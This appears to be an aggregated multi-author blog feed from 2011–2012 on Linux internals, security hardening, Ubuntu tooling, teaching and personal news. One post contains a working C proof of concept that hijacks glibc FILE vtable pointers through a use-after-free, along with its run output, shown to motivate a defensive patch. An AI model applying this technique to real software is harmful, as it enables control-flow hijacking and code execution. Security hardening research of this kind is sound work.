February 15, 2012
Kees Cook
Under Linux, there are a number of related features around marking areas of a file, filesystem, or block device as “no longer allocated”. In the standard view, here’s what happens if you fill a file to 500M and then truncate it to 100M, using the “truncate” syscall:
create the empty file, filesystem allocates an inode, writes accounting details to block device. write data to file, filesystem allocates and fills data blocks, writes blocks to block device. truncate the file to a smaller size, filesystem updates accounting details and releases blocks, writes accounting details to block device.
The important thing to note here is that in step 3 the block device has no idea about the released data blocks. The original contents of the file are actually still on the device. (And to a certain extent is why programs like shred exist.) While the recoverability of such released data is a whole other issue, the main problem about this lack of information for the block device is that some devices (like SSDs) could use this information to their benefit to help with extending their life, etc. To support this, the “TRIM” set of commands were created so that a block device could be informed when blocks were released. Under Linux, this is handled by the block device driver, and what the filesystem can pass down is “discard” intent, which is translated into the needed TRIM commands.
So now, when discard notification is enabled for a filesystem (e.g. mount option “discard” for ext4), the earlier example looks like this:
create the empty file, filesystem allocates an inode, writes accounting details to block device. write data to file, filesystem allocates and fills data blocks, writes blocks to block device. truncate the file to a smaller size, filesystem updates accounting details and releases blocks, writes accounting details and sends discard intent to block device.
While SSDs can use discard to do fancy SSD things, there’s another great use for discard, which is to restore sparseness to files. Normally, if you create a sparse file (open, seek to size, close), there was no way, after writing data to this file, to “punch a hole” back into it. The best that could be done was to just write zeros over the area, but that took up filesystem space. So, the ability to punch holes in files was added via the FALLOC_FL_PUNCH_HOLE option of fallocate. And when discard was enabled for a filesystem, these punched holes would get passed down to the block device as well.
Take, for example, a qemu/KVM VM running on a disk image that was built from a sparse file. While inside the VM instance, the disk appears to be 10G. Externally, it might only have actually allocated 600M, since those are the only blocks that had been allocated so far. In the instance, if you wrote 8G worth of temporary data, and then deleted it, the underlying sparse file would have ballooned by 8G and stayed ballooned. With discard and hole punching, it’s now possible for the filesystem in the VM to issue discards to the block driver, and then qemu could issue hole-punching requests to the sparse file backing the image, and all of that 8G would get freed again. The only down side is that each layer needs to correctly translate the requests into what the next layer needs.
With Linux 3.1, dm-crypt supports passing discards from the filesystem above down to the block device under it (though this has cryptographic risks, so it is disabled by default). With Linux 3.2, the loopback block driver supports receiving discards and passing them down as hole-punches. That means that a stack like this works now: ext4, on dm-crypt, on loopback of a sparse file, on ext4, on SSD. If a file is deleted at the top, it’ll pass all the way down, discarding allocated blocks all the way to the SSD:
Set up a sparse backing file, loopback mount it, and create a dm-crypt device (with “allow_discards”) on it:
# cd /root
# truncate -s10G test.block
# ls -lk test.block
-rw-r--r-- 1 root root 10485760 Feb 15 12:36 test.block
# du -sk test.block
0 test.block
# DEV=$(losetup -f --show /root/test.block)
# echo $DEV
/dev/loop0
# SIZE=$(blockdev --getsz $DEV)
# echo $SIZE
20971520
# KEY=$(echo -n "my secret passphrase" | sha256sum | awk '{print $1}')
# echo $KEY
a7e845b0854294da9aa743b807cb67b19647c1195ea8120369f3d12c70468f29
# dmsetup create testenc --table "0 $SIZE crypt aes-cbc-essiv:sha256 $KEY 0 $DEV 0 1 allow_discards"
Now build an ext4 filesystem on it. This enables discard during mkfs, and disables lazy initialization so we can see the final size of the used space on the backing file without waiting for the background initialization at mount-time to finish, and mount it with the “discard” option:
# mkfs.ext4 -E discard,lazy_itable_init=0,lazy_journal_init=0 /dev/mapper/testenc
mke2fs 1.42-WIP (16-Oct-2011)
Discarding device blocks: done
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
655360 inodes, 2621440 blocks
131072 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=2684354560
80 block groups
32768 blocks per group, 32768 fragments per group
8192 inodes per group
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632
Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
# mount -o discard /dev/mapper/testenc /mnt
# sync; du -sk test.block
297708 test.block
Now, we create a 200M file, examine the backing file allocation, remove it, and compare the results:
# dd if=/dev/zero of=/mnt/blob bs=1M count=200
200+0 records in
200+0 records out
209715200 bytes (210 MB) copied, 9.92789 s, 21.1 MB/s
# sync; du -sk test.block
502524 test.block
# rm /mnt/blob
# sync; du -sk test.block
297720 test.block
Nearly all the space was reclaimed after the file was deleted. Yay!
Note that the Linux tmpfs filesystem does not yet support hole punching, so the exampe above wouldn’t work if you tried it in a tmpfs-backed filesystem (e.g. /tmp on many systems).
© 2012, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.

February 15, 2012 09:19 PM
Gail Carmichael
Systers just started a 'best of' blog that highlights useful conversations that have happened on the popular mailing list for technical women. The first post, Life as a Professor, is all about what being a professor is like, particularly in the work-life balance sense.
I find the responses either depressing or encouraging. One thing's for sure: it's not a 9-5 job. As one person said,"It’s a huge part of your life even when you aren’t in the classroom or lab." Whether that's good or bad depends on the individual (after all, I'm always thinking about teaching, learning, and outreach, so if you love what you do you may not want to leave it completely at work).
For me, the words of wisdom in that post solidify that I would be much happier as an instructor without the added pressure of running a research lab. Plus, if I don't want to be a professor, I can skip that whole post-doc phase, which suits me just fine.
Do check out the post if you are at all considering an academic career.
February 15, 2012 04:46 PM
February 10, 2012
Kees Cook
While looking for something to use as a system-unique fall-back when a TPM is not available, I looked at /sys/devices/virtual/dmi/id/product_uuid (same as dmidecode‘s “System Information / UUID”), but was disappointed when, under KVM, the file was missing (and running dmidecode crashes KVM *cough*). However, after a quick check, I noticed that KVM supports the “-uuid” option to set the value of /sys/devices/virtual/dmi/id/product_uuid. Looks like libvirt supports this under capabilities / host / uuid in the XML, too.
host# kvm -uuid 12345678-ABCD-1234-ABCD-1234567890AB ...
host# ssh localhost ...
...
guest# cat /sys/devices/virtual/dmi/id/product_uuid
12345678-ABCD-1234-ABCD-1234567890AB
© 2012, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.

February 10, 2012 06:08 PM
February 09, 2012
Gail Carmichael
Check out this talk that asks the question 'What would it take to create a moonshot factory?' It's given by Michael Crow of Arizona State University as part of the new initiative We Solve for X, "a forum to encourage and amplify technology-based moonshot thinking and teamwork."
I think there are a lot of interesting things in there, but one thought caught my attention. Crow talks about research as exploration, and the university as a place "dedicated not to publications or patents or profits but directly to the idea of radical thinking, radical problem solving, and driving radical levels of positive impact."
This reminded me of my
post on wanting 'publish or perish' to go away. I think this is one of the biggest reasons I felt (and still feel) that way, though I'm not sure if I articulated it sufficiently. What Crow is trying to turn ASU into excites me.
February 09, 2012 12:47 PM
February 07, 2012
Gail Carmichael
What do you get when you mix psychology, education, and neuroscience? For Tracey Tokuhama-Espinosa, you get MBE (Mind, Brain, and Education) Science. I recently looked at her book The New Science of Learning: Using the Best of Mind, Brain, and Education Science in the Classroom. It described what so-called facts about learning are definitely true (i.e. proven by all three areas), probably true, intelligent speculation, and definitely not true, followed by lists of tenets and principles of learning.
Some of the facts that have been well established include:
human brains are as unique as faces all brains are not equal: context and ability influence learning the brain is changed by experience the brain connects new information to old
Some of the things that are very likely true include:
emotions have a big impact on learning, from what students think their teachers think of them to getting good support from others good nutrition, water, and sleep are all important for learning we notice novelty and look for patterns humans are innately curious and driven to learn active construction of meaning should be encouraged memory + attention = learning
These are the tenets of individual learning, each of which is supported by the facts above and/or those not listed:
Motivation impacts how teachers teach and how students learn Stress impacts learning Anxiety blocks learning opportunities Depressive states can impede learning Other peoples’ tones of voices are quickly judged in the brain Peoples’ faces are judged nearly instantaneously in the brain Movement can enhance learning Humour can enhance learning opportunities through laughter Nutrition impacts learning Sleep is important for memory consolidation Learning styles (cognitive preferences) are due to the unique structure of individual brains Teaching students individually enhances learning
When thinking about these tenets (and the universal learning principles I did not list), something really jumped out at me: I noticed that digital games could support them all rather well. For example, games are motivating; that one's easy. Affectively designed games could help reduce the anxiety, depression, and bad kinds of stress, while introducing the good kind of stress (
eustress) through challenge. Health related tenets, like nutrition and sleep, could potentially be supported through persuasive games that are designed to encourage healthy behaviour. I think that a lot of what James Paul Gee has to say about games is also supported nicely by MBE Science, though he does not explicitly connect to that research.
Another thing I noticed about the known truths of learning is that they coincide nicely with Ken Bain's
What the Best College Teachers Do. I previously wrote about this book in relation to computer science education in a short series of posts
here,
here, and
here. I'll leave it to those interested to consider the connections, and recommend both books to learn more.
February 07, 2012 08:02 PM
Kees Cook
As I discussed last year, Ubuntu has been restricting the use of ptrace for a few releases now. I’m excited to see Fedora starting to introduce similar restrictions, but I’m disappointed at the specific implementation:
A method for doing this already exists (Yama). Yama is not plumbed into SELinux, but I would argue that’s not needed. The SELinux method depends, unsurprisingly, on an active SELinux policy on the system, which isn’t everyone. It’s not possible for regular developers (not system developers) to debug their own processes. It will break all ptrace-based crash handlers (e.g. KDE, Firefox, Chrome) or tools that depend on ptrace to do their regular job (e.g. Wine, gdb, strace, ltrace).
Blocking ptrace blocks exactly one type of attack: credential extraction from a running process. In the face of a persistent attack, ultimately, anything running as the user can be trojaned, regardless of ptrace. Blocking ptrace, however, stalls the initial attack. At the moment an attacker arrives on a system, they cannot immediately extend their reach by examining the other processes (e.g. jumping down existing SSH connections, pulling passwords out of Firefox, etc). Some sensitive processes are already protected from this kind of thing because they are not “dumpable” (due to either specifically requesting this from prctl(PR_SET_DUMPABLE, ...) or due to a uid/gid transition), but many are open for abuse.
The primary “valid” use cases for ptrace are crash handlers, debuggers, and memory analysis tools. In each case, they have a single common element: the process being ptraced knows which process should have permission to attach to it. What Linux lacked was a way to declare these relationships, which is what Yama added. The use of SELinux policy, for example, isn’t sufficient because the permissions are too wide (e.g. giving gdb the ability to ptrace anything just means the attacker has to use gdb to do the job). Right now, due to the use of Yama in Ubuntu, all the mentioned tools have the awareness of how to programmatically declare the ptrace relationships at runtime with prctl(PR_SET_PTRACER, ...). I find it disappointing that Fedora won’t be using this to their advantage when it is available and well tested.
Even ChromeOS uses Yama now. ;)
© 2012, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.

February 07, 2012 12:48 AM
February 01, 2012
Ted Gould
Launchpad users know that it can send quite a bit of e-mail. Okay, a LOT of e-mail. There has been effort on the Launchpad side of things to add controls to set the amount of Launchpad e-mail you get. But for some of us, even getting the mail that you need results in a fair amount of Launchpad mail. In playing with my procmail config for Launchpad mail I stumbled on this little feature that I love, and thought I'd share, as it's cleaned up my mail a lot. The secret rule is:
:0:
* ^X-launchpad-bug:.*product=\/[a-z0-9-]+
.Launchpad.Bugs.${MATCH}/
Quite simply that rule takes the project specifier on a bug mail, and uses it for the folder name that it puts the mail into. This means each project gets it's own mail box, no matter what. So even as you add groups or subscribe to new bugs, you just get new mail boxes. Works for me. Hope it helps other folks too.
Comments: Identi.ca | Twitter
February 01, 2012 04:19 PM
Jon Cruz
After being bogged down with 'real life', I've finally managed to get things moving bak on track... so time to get back to the blogging. A lot has gone on, and is getting ready to happen. Conferences conferences conferences and more conferences, hardware, Inkscape hacking, and more...
We have a lot planned, and maybe something for most anyone. Inkscape has picked up a few more active contributors, and I've gotten progress on a few 'interesting' tweaks. Some seem just for fun, but others have good practical application. We're also trying to get together some more organized meetings, online and in person, so that will be good. Also look for more on the front to help promote Inkscape.
Much went on at this past linux.conf.au, with great people helping out and some really outstanding presentations going on. Bruce Perens had some very important things to say, and it looks to be very helpful. And I even had my talk on logo design for developers make it up online. (There are more going up over time, and the mirrors should be getting ogg versions too.)
Posts will show up highlighting things from linux.conf.au and SCALE10x shortly. There will even be a few photos here and there. Most importantly, though, is that things should get more and more active here, and posts should be quite regular now.
February 01, 2012 12:21 AM
January 24, 2012
Ted Gould
One of the neatest parts about starting to get more application data into the open is that we can start to use it in interesting ways. I'm happy to talk about a new way that we're using the menu data: the HUD. The idea behind the HUD is that you can quickly find functionality in an application without having to know the menu structure. But how does it do it? How can you make it better?
Getting the data
We're using the same Dbusmenu data that is currently exported to the global menu, just remixing it for search. We are searching through the labels in the menu items which gives us already localized data straight from the application. This means that it should work for the language that the application is in. In the future we hope to use information like accessibility data as well as any tooltips that might be attached to a menuitem (though we don't show tooltips in the global menu).
Any application that works with the window menus today should also work with HUD out of the box.
Matching the label
To match the label we're basically using an implementation of the Levenshtein distance with a few additions. What this allows us to do is rank possible solutions in a relevancy order, and present some solutions that might occur via "fat finger" or other similar type errors. But, this also means that there is some fuzzy algorithms involved in the matching which will have to be tuned.
We expect to tune them over the next few releases, and to do that we have a set of test cases that we're using for the tuning. The problem with those test cases? They're only in the languages I speak. You probably speak in more/different/better languages than I do, please feel free to propose merges that extend this test suite so that as we continue to tune the search algorithms we don't leave any language behind.
Remembering Favorites
One of the additions that we add to the distance calculation is an offset based on which entries you've used most recently. Your favorite functionality in the application. Quite simply we're storing a list of items you've used over the last thirty days and a timestamp of when you used them. This database is simple but it can be fun to look into for the curious and I wanted to talk a bit about a couple of the tools that you can use to see the data.
$ hud-list-applications
This will list all the applications that have data on them in your HUD usage database. They are identified by the path to their desktop file as determined by BAMF. You can then look at the menu items used in a specific application:
$ hud-dump-application /usr/share/applications/inkscape.desktop
This shows the individual items that you've used, and the number of times that you've used them. If you want to inspect the exact file tracking the data it is available at:
~/.cache/indicator-appmenu/hud-usage-log.sqlite
While talking about various tools to work with HUD I thought I'd also mention that you can also, just for fun, work with HUD from the command line using the command line tool:
$ hud-cli
Application initial bias
Application designers have always had a problem figuring out how to promote specific functionality that is commonly used to the forefront, while still making the rest of the functionality easily available. The most recent ways that they've done this is with toolbars and ribbon style. You can't adjust the positioning even when you know that the particular toolbar isn't best for the user because it will mess up the user's spacial memory. HUD sidesteps this issue by providing all the options, just promoting certain ones based on usage. They're all in the same place (the HUD) but with always improving ordering.
What happens on first usage of the application? At that point we don't have any way to know what the user wants to do, we we've provide a way for the application designer to provide the most likely items for general users. Effectively, this is the HUD's version of the default toolbar setup in an application; though it automatically decays and adjusts to the user's usage pattern.
The files that control this initial bias are very simple and there is an example in the test suite. Basically they have the various menu items along with a value that describes how to preload the usage database. A '5' there would mean that 5 entries are added to the usage database for that item on the first time that application is used; one for today and each of the four days previous. In this way, as values drop off by being too old, there isn't a step function in how the item is ranked, it just slowly drops down in priority. Application designers should start to think about how they would rank the menu items in their application, and start getting these integrated into either the releases or the packages of those applications so that users have a good first experience with their application.
Development notes
The code for the HUD lives in the indicator-appmenu repository. Currently it exists on a branch that needs to be reviewed before merging, but that shouldn't be for long. I expect it to get merged to trunk in the next couple of weeks.
After that the biggest change will be integration with indicator-appmenu. It was originally implemented as it's own service to make development more agile, but it clearly shares a large amount of data with the global menu and there's no reason to have two repositories in memory of the same data. It also needs to synchronize heavily with the application menu and BAMF, which is also already in indicator-appmenu. Thanks to the magic of DBus no one should notice the change in processes as the names and objects will migrate over to the new process.
As this is more of a first prototype there are also some missing features that need to be added. The first of those is to simply improve the matching. We also need to get better descriptions from application indicators, today we're using their accessibility description (you set those, right?) but that typically has too much information. Lastly, we need to integrate better with applications that expect the about-to-show signal for their menus. This includes XUL applications and some Qt ones, so it's an important feature for making the HUD usable for everyone.
Merges and bugs should be directed towards the indicator-appmenu project and also make sure you've signed the Canonical Contributor Agreement for any code contributed.
Comments: Identi.ca | Twitter
January 24, 2012 02:15 PM
January 22, 2012
Kees Cook
Recently the upstream Linux kernel released a fix for a serious security vulnerability (CVE-2012-0056) without coordinating with Linux distributions, leaving a window of vulnerability open for end users. Luckily:
it is only a serious issue in 2.6.39 and later (e.g. Ubuntu 11.10 Oneiric) it is “only” local it requires execute access to a setuid program that generates output
Still, it’s a cross-architecture local root escalation on most common installations. Don’t stop reading just because you don’t have a local user base — attackers can use this to elevate privileges from your user, or from the web server’s user, etc.
Since there is now a nearly-complete walk-through, the urgency for fixing this is higher. While you’re waiting for your distribution’s kernel update, you can use systemtap to change your kernel’s running behavior. RedHat suggested this, and here’s how to do it in Debian and Ubuntu:
Download the “am I vulnerable?” tool, either from RedHat (above), or a more correct version from Brad Spengler. Check if you’re vulnerable:
$ make correct_proc_mem_reproducer
...
$ ./correct_proc_mem_reproducer
vulnerable
Install the kernel debugging symbols (this is big — over 2G installed on Ubuntu) and systemtap:
Debian:
# apt-get install -y systemtap linux-image-$(uname -r)-dbg
Ubuntu:
Add the debug package repository and key for your Ubuntu release:
$ sudo apt-get install -y lsb-release
$ echo "deb http://ddebs.ubuntu.com/ $(lsb_release -cs) main restricted universe multiverse" | \
sudo tee -a /etc/apt/sources.list.d/ddebs.list
$ sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ECDCAD72428D7C01
$ sudo apt-get update
(This step does not work since the repository metadata isn’t updating correctly at the moment — see the next step for how to do this manually.) Install the debug symbols for the kernel and install systemtap:
sudo apt-get install -y systemtap linux-image-$(uname -r)-dbgsym
(Manual version of the above, skip if the above works for you. Note that this has no integrity checking, etc.)
$ sudo apt-get install -y systemtap dpkg-dev
$ wget http://ddebs.ubuntu.com/pool/main/l/linux/$(dpkg -l linux-image-$(uname -r) | grep ^ii | awk '{print $2 "-dbgsym_" $3}' | tail -n1)_$(dpkg-architecture -qDEB_HOST_ARCH).ddeb
$ sudo dpkg -i linux-image-$(uname -r)-dbgsym.ddeb
Create a systemtap script to block the mem_write function, and install it:
$ cat > proc-pid-mem.stp <<'EOM'
probe kernel.function("mem_write@fs/proc/base.c").call {
$count = 0
}
EOM
$ sudo stap -Fg proc-pid-mem.stp
Check that you’re no longer vulnerable (until the next reboot):
$ ./correct_proc_mem_reproducer
not vulnerable
In this case, the systemtap script is changing the argument containing the size of the write to zero bytes ($count = 0), which effectively closes this vulnerability.
UPDATE: here’s a systemtap script from Soren that doesn’t require the full debug symbols. Sneaky, put can be rather slow since it hooks all writes in the system. :)
© 2012, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.

January 22, 2012 11:22 PM
January 16, 2012
Gail Carmichael
Larry Smith told the TEDxUW (University of Waterloo) audience that they will fail to have a great career. After all, there are ever so many excuses that crop up to justify why you can't follow your passion. Alas, there is no such thing as a "good" career according to Larry, so if you try to settle for one, you'll just end up with one of those terrible, soul-sucking jobs. Unless...
<p>&amp;amp;lt;br&amp;amp;gt;U</p>
Unless.
January 16, 2012 02:57 PM
January 13, 2012
Gail Carmichael
As someone who is always looking for outreach opportunities with middle and high school students, I enjoyed The Guardian's recent article called Michael Gove to scrap 'boring' IT lessons: Schools to be given freedom to run cutting-edge computer classes under plans for open source curriculum. From the article:
In a speech, the education secretary will say the existing curriculum in Information and Communication Technology (ICT) has left children "bored out of their minds being taught how to use Word and Excel by bored teachers".
Instead he will, in effect, create an "open source" curriculum in computer science by giving
schools the freedom to use teaching resources designed with input from leading employers and academics, in changes that will come into effect this September.
I interpreted the initiative to be similar to the
curriculum I designed for our department's elective introduction to computers class for arts and social science students. That course, too, has traditionally been mostly about how to use Microsoft Office software. My version covered that only briefly, focusing instead on computer science topics from programming in Scratch and searching and sorting algorithms all the way to human computer interaction. Based on
feedback from students and TA's, this was definitely a move in the right direction. It's great to see similar changes happening in high schools.
January 13, 2012 01:13 PM
January 04, 2012
Niko Kiirala
The Soundbox device I have built uses some construction techniques I want to share with you readers. I'm mainly talking about the enclosure and the texts on controls.
The enclosure itself is built from a simple box bought from a craft store. It was unfinished wooden box with two small hinges and a clasp to hold it closed. The lid and bottom parts were quite nicely suitable size for all the parts, I just needed to build the control panel inside this box.
The control panel is built from 4 mm plywood that I cut to the correct shape with a coping saw (not the best tool for the job, but that was what I happened to have at hand). Then I drilled the holes for the knobs and such. The speaker hole I cut with the coping saw. To keep the control panel in place, I glued some 9 × 9 mm wood bars to the inside of the box, 4 mm from the top of the bottom box so that the control panel will sit flush with the sides of the bottom part.
After constructing the box, I removed the hinges and the clasp and painted the box and control panel with several (maybe four) layers of white spray paint. What surprised me was how much that stuff stinks — I had to keep the parts outdoors for a couple days after painting so that my room would not smell of solvents. The finished box had a distinct solvent smell for like a month after it was done.
The two main knobs — pitch and arpeggio — are of my own design. They're seven-sided knobs with friction fit for the usual 6 mm potentiometer axle. I created the model in
Blender and ordered them from a 3D printing company called
Shapeways. The design didn't work quite as intended and I had to remove some material from underside of the knob so that the nut that holds the potentiometer in place fits under the knob. I also had to use 6 mm drill bit to widen the centre hole so that the potentiometer axle fits in there.
For the markings on the control panel and the two main knobs I used transfer lettering from
Letraset. This is rub-down lettering, that is, you write by finding the required letter from the sheet, placing that to its intended place and rubbing down on the letter sheet so that the letter material is transferred from the sheet to your working piece. These are mainly intended to be used on paper, but they appear to work just fine on wood and plastic.
After writing all the texts I wanted, I coated the control panel, the two red knobs and the box with several (probably three) coats of clear spray lacquer. Before this it would have been possible to rub or scrape the lettering off, though it would have taken some effort. After the lacquer coat the lettering is there to stay. Even though the spray again had quite an amount of solvents, neither the lettering nor the plastic of the two red knobs was adversely affected.
After this, the rest is rather straightforward. I re-attached the hinges and the clasp I had removed before painting the box white. I installed the potentiometers, buttons, switches and the line jack to the control panel with their supplied nuts. The two LEDs and the speaker I attached with hot glue. Eventually I will have to figure out something more sturdy than hot glue for mounting the speaker, for it did come loose at the
Alternative Party. The control panel is held in its place by the side walls of the box and the support bars inside the box, but there's nothing stopping you from lifting it upwards to reveal the electronics hidden inside.
January 04, 2012 10:29 PM
December 31, 2011
Gail Carmichael
2011 was special, particularly with the arrival of our daughter Molly. But 2012 is looking pretty great, too!
Although I wasn't able to get an NSF grant application in for Gram's House as planned, one of the researchers I was working with and I have teamed up with another group doing something similar. If that grant gets funded, it leaves us with an opportunity to extend it later with Gram's House. At the same time, the Gram's House researcher is (hopefully) running a pilot project at her university this summer that will help us learn more about how to approach both projects in the most effective way.
I'll be off on maternity leave until September, but I'm looking forward to doing some reading and trying to nail down my thesis plan (I have gone through some iterations already, but am not quite there yet as it turns out). I like knowing that everything I can get done (and feel like getting done) is a bonus, and that I don't have to put myself under a lot of pressure. After all, I want to make sure I enjoy my time with Molly!
I'll be teaching my mini-course (
Computer Science and Games: Just for Girls!) for the fifth year. It's only a week long, but that will probably be the first time I'll be away from Molly for so long, so that will be interesting. I'm also considering putting together a programming course for
Girl Develop It Ottawa using Processing, which would be fun to teach in the summer.
And perhaps most exciting of all, I'm trying to make attending Grace Hopper 2012 in Baltimore with Andrew and Molly a possibility. It's only a 9 hour drive from home, and if I can get my trip funded, the only cost would be Andrew's conference fee and food (and maybe we can even get him in as a volunteer?). I've wanted Andrew to attend for years now both for the technical content and to get to see into my world of women in computing. As an added bonus, the conference offers free daycare!
December 31, 2011 12:03 PM
December 23, 2011
Kees Cook
When attacking a process, one interesting target on the heap is the FILE structure used with “stream functions” (fopen(), fread(), fclose(), etc) in glibc. Most of the FILE structure (struct _IO_FILE internally) is pointers to the various memory buffers used for the stream, flags, etc. What’s interesting is that this isn’t actually the entire structure. When a new FILE structure is allocated and its pointer returned from fopen(), glibc has actually allocated an internal structure called struct _IO_FILE_plus, which contains struct _IO_FILE and a pointer to struct _IO_jump_t, which in turn contains a list of pointers for all the functions attached to the FILE. This is its vtable, which, just like C++ vtables, is used whenever any stream function is called with the FILE. So on the heap, we have:

In the face of use-after-free, heap overflows, or arbitrary memory write vulnerabilities, this vtable pointer is an interesting target, and, much like the pointers found in setjmp()/longjmp(), atexit(), etc, could be used to gain control of execution flow in a program. Some time ago, glibc introduced PTR_MANGLE/PTR_DEMANGLE to protect these latter functions, but until now hasn’t protected the FILE structure in the same way.
I’m hoping to change this, and have introduced a patch to use PTR_MANGLE on the vtable pointer. Hopefully I haven’t overlooked something, since I’d really like to see this get in. FILE structure usage is a fair bit more common than setjmp() and atexit() usage. :)
Here’s a quick exploit demonstration in a trivial use-after-free scenario:
#include <stdio.h>
#include <stdlib.h>
void pwn(void)
{
printf("Dave, my mind is going.\n");
fflush(stdout);
}
void * funcs[] = {
NULL, // "extra word"
NULL, // DUMMY
exit, // finish
NULL, // overflow
NULL, // underflow
NULL, // uflow
NULL, // pbackfail
NULL, // xsputn
NULL, // xsgetn
NULL, // seekoff
NULL, // seekpos
NULL, // setbuf
NULL, // sync
NULL, // doallocate
NULL, // read
NULL, // write
NULL, // seek
pwn, // close
NULL, // stat
NULL, // showmanyc
NULL, // imbue
};
int main(int argc, char * argv[])
{
FILE *fp;
unsigned char *str;
printf("sizeof(FILE): 0x%x\n", sizeof(FILE));
/* Allocate and free enough for a FILE plus a pointer. */
str = malloc(sizeof(FILE) + sizeof(void *));
printf("freeing %p\n", str);
free(str);
/* Open a file, observe it ended up at previous location. */
if (!(fp = fopen("/dev/null", "r"))) {
perror("fopen");
return 1;
}
printf("FILE got %p\n", fp);
printf("_IO_jump_t @ %p is 0x%08lx\n",
str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
/* Overwrite vtable pointer. */
*(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;
printf("_IO_jump_t @ %p now 0x%08lx\n",
str + sizeof(FILE), *(unsigned long*)(str + sizeof(FILE)));
/* Trigger call to pwn(). */
fclose(fp);
return 0;
}
Before the patch:
$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0xf7796aa0
_IO_jump_t @ 0x984609c now 0x0804a060
Dave, my mind is going.
After the patch:
$ ./mini
sizeof(FILE): 0x94
freeing 0x9846008
FILE got 0x9846008
_IO_jump_t @ 0x984609c is 0x3a4125f8
_IO_jump_t @ 0x984609c now 0x0804a060
Segmentation fault
Astute readers will note that this demonstration takes advantage of another characteristic of glibc, which is that its malloc system is unrandomized, allowing an attacker to be able to determine where various structures will end up in the heap relative to each other. I’d like to see this fixed too, but it’ll require more time to study. :)
© 2011, Kees Cook. This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 License.

December 23, 2011 12:46 AM
December 22, 2011
Gail Carmichael
Andrew and I are delighted to announce the birth of our first child, Molly! She was born on December 16 at 5:47pm and weighed 7 lbs 3 oz. We're all doing well and enjoying our time together as a new family.
December 22, 2011 12:29 PM
December 15, 2011
Gail Carmichael
PBS aired this program back in February this year. It is almost an hour long and features many of the big names in 21st century learning, including James Paul Gee and Katie Salen. If you're interested in game-based education, educational games, and digital media for learning in general, it's a good watch. I quite enjoyed it. (Note: It looks like you can't watch the whole thing in the embedded video, so if you have an hour, head to the full link.)
December 15, 2011 02:11 PM
December 13, 2011
Jon Phillips

Part of the reason I’m not using social media now is that I have found that I am not able to have complete thoughts. Instead 140 characters gives me a funnel towards emotional comments, and unfounded arguments. Well, I have a secret weapon in my battle for making longer than 5 sentence speech fragments, and its more than Christopher, Nkinkade or Wolfgang countering my sometimes emotional decision making.
My original unfounded comment: “China has the most people living in poverty.”
Here’s how a gift email landed in my inbox:
Per our discussion about population in poverty, the latest is that the government has raised the cap from RMB 1274 per yeary to 2300 RMB per year. by the latest standards, there are 120 million people in poverty in China.
According to the U.S. Census Bureau data released Tuesday September 13th, 2011, the nation’s poverty rate rose to 15.1% (46.2 million) in 2010,[2] up from 14.3% (approximately 43.6 million) in 2009 and to its highest level since 1993. In 2008, 13.2% (39.8 million) Americans lived in relative poverty.[3]
The government’s definition of poverty is not tied to an absolute value of how much an individual or family can afford, but is tied to a relative level based on total income received. For example, the poverty level for 2011 was set at $22,350 (total yearly income) for a family of four, which roughly equals RMB 37,995 per person.[4] Most Americans (58.5%) will spend at least one year below the poverty line at some point between ages 25 and 75.[5] There remains some controversy over whether the official poverty threshold over- or understates poverty.
China and the US still has vastly different standards about poverty therefore direct comparison of the number of people in poverty aren’t meaningful.
Thanks for the thoughtful research. Time to get with the program REJON!
December 13, 2011 10:15 PM
December 10, 2011
Ted Gould
I'm excited about two new team members that we have, Thomas Voß and Allan LeSage, who are working to increase our quality infrastructure. One of the first things they've been working on is getting per-commit code coverage measurements of our unit tests in to Jenkins. I think that this is great because, while we have tests, we have no real way to know if we have enough tests. Code coverage isn't a magic bullet there, but it does give us some idea of where we stand.
If you had asked me (as soon as yesterday) about dbus-test-runner's test suite I would have described it as good. It's a small amount of code, and it has quite a few tests. So it must be good. Allan submitted a merge request to add code coverage measurements. Here's what came out on the summary:
Line Coverage Functions Branches
79.4Â % 239 / 301 88.0Â % 22 / 25 62.0Â % 67 / 108
Ouch! I don't think we could really describe that as good. Not awful, but it should be better, especially for a test tool!
This story does have a happy ending. I took a little bit of time to make a new branch that adds tests, but also makes the utility more testable so that the code can be hit in a reasonable test. Overall, a big win for dbus-test-runner. Here's the results after that branch:
Line Coverage Functions Branches
95.2Â % 317 / 333 96.2Â % 25 / 26 84.4Â % 103 / 122
Comments: Identi.ca | Twitter
December 10, 2011 04:31 AM
December 09, 2011
Gail Carmichael
The Royal Canadian Mounted Police, our federal police force, recently had its 23rd commissioner formally installed. There have been problems with the previous commissioners, but from what I'm hearing so far from Bob Paulson, things are looking up.
Paulson's take on women deserves kudos. While the organization has nearly 38% of its ranks as women, not many are in the upper ranks. In
one article on TheSpec, he is quoted as saying:
“My view is, we bring more women into our decision-making process at the executive level; we have a much more representative decision-making body in the force.â€
But he doesn't want to boost the numbers for the sake of equality. As a
CTV article reports:
"I recognize that most of our women are concerned that this increase in numbers in the senior ranks will be a measure that is just adding numbers," he said.
"I want to make sure that those employees and members that merit promotion get the promotion. I don't want people to think that we're moving women into the senior ranks just because we need more women."
It seems that Paulson believes that there are many women who deserve to be in the higher ranks but are being overlooked.
Sounds an awful lot like what we need in tech companies and academic institutions, doesn't it?
December 09, 2011 11:44 AM
December 07, 2011
Kees Cook
Prepare a location to run juju and install it:
mkdir ~/party
cd ~/party
sudo apt-get install juju
